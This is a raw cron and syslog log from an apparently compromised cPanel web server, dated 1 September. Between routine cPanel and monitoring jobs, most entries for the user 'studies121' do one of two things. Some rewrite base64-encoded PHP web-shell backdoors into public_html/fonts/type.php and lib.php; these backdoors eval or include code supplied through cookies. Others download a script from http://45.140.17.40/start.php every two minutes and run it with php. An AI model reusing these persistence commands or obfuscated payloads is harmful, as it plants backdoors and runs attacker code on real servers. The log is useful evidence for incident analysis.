Sep  1 02:59:02 ip-184-168-122-23 CROND[4528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:59:02 ip-184-168-122-23 CROND[4526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:00:01 ip-184-168-122-23 CROND[4619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:00:01 ip-184-168-122-23 CROND[4621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:00:01 ip-184-168-122-23 CROND[4625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:00:01 ip-184-168-122-23 CROND[4626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:00:01 ip-184-168-122-23 CROND[4622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:00:01 ip-184-168-122-23 CROND[4627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:00:02 ip-184-168-122-23 CROND[4623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:00:02 ip-184-168-122-23 CROND[4624]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:01:01 ip-184-168-122-23 CROND[4809]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4809]: starting 0anacron
Sep  1 03:01:01 ip-184-168-122-23 CROND[4810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:01:01 ip-184-168-122-23 CROND[4816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:01:01 ip-184-168-122-23 CROND[4818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 03:01:01 ip-184-168-122-23 CROND[4821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:01:01 ip-184-168-122-23 CROND[4819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:01:01 ip-184-168-122-23 anacron[4830]: Anacron started on 2026-09-01
Sep  1 03:01:01 ip-184-168-122-23 anacron[4830]: Will run job `cron.daily' in 39 min.
Sep  1 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4832]: finished 0anacron
Sep  1 03:01:01 ip-184-168-122-23 anacron[4830]: Jobs will be executed sequentially
Sep  1 03:02:01 ip-184-168-122-23 CROND[4906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:02:01 ip-184-168-122-23 CROND[4908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:02:01 ip-184-168-122-23 CROND[4909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:02:01 ip-184-168-122-23 CROND[4911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:02:01 ip-184-168-122-23 CROND[4910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:03:01 ip-184-168-122-23 CROND[4997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:03:01 ip-184-168-122-23 CROND[4998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:03:01 ip-184-168-122-23 CROND[5001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:03:01 ip-184-168-122-23 CROND[5003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:04:01 ip-184-168-122-23 CROND[5107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:04:01 ip-184-168-122-23 CROND[5108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:04:01 ip-184-168-122-23 CROND[5110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:04:01 ip-184-168-122-23 CROND[5111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:04:01 ip-184-168-122-23 CROND[5112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:05:01 ip-184-168-122-23 CROND[5232]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:05:01 ip-184-168-122-23 CROND[5233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:05:01 ip-184-168-122-23 CROND[5235]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 03:05:01 ip-184-168-122-23 CROND[5237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:05:01 ip-184-168-122-23 CROND[5238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:05:01 ip-184-168-122-23 CROND[5239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:05:01 ip-184-168-122-23 CROND[5240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:06:01 ip-184-168-122-23 CROND[5421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:06:01 ip-184-168-122-23 CROND[5423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:06:01 ip-184-168-122-23 CROND[5424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:06:01 ip-184-168-122-23 CROND[5425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:06:01 ip-184-168-122-23 CROND[5426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:07:02 ip-184-168-122-23 CROND[5516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:07:02 ip-184-168-122-23 CROND[5519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:07:02 ip-184-168-122-23 CROND[5518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:07:02 ip-184-168-122-23 CROND[5520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:08:01 ip-184-168-122-23 CROND[5596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:08:01 ip-184-168-122-23 CROND[5594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:08:01 ip-184-168-122-23 CROND[5598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:08:01 ip-184-168-122-23 CROND[5595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:08:01 ip-184-168-122-23 CROND[5597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:09:01 ip-184-168-122-23 CROND[5687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:09:01 ip-184-168-122-23 CROND[5688]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 03:09:01 ip-184-168-122-23 CROND[5691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:09:01 ip-184-168-122-23 CROND[5692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:09:01 ip-184-168-122-23 CROND[5690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:10:02 ip-184-168-122-23 CROND[5788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:10:02 ip-184-168-122-23 CROND[5789]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:10:02 ip-184-168-122-23 CROND[5793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:10:02 ip-184-168-122-23 CROND[5794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:10:02 ip-184-168-122-23 CROND[5792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:10:02 ip-184-168-122-23 CROND[5795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:10:02 ip-184-168-122-23 CROND[5796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:10:02 ip-184-168-122-23 CROND[5797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:11:01 ip-184-168-122-23 CROND[5988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:11:01 ip-184-168-122-23 CROND[5989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
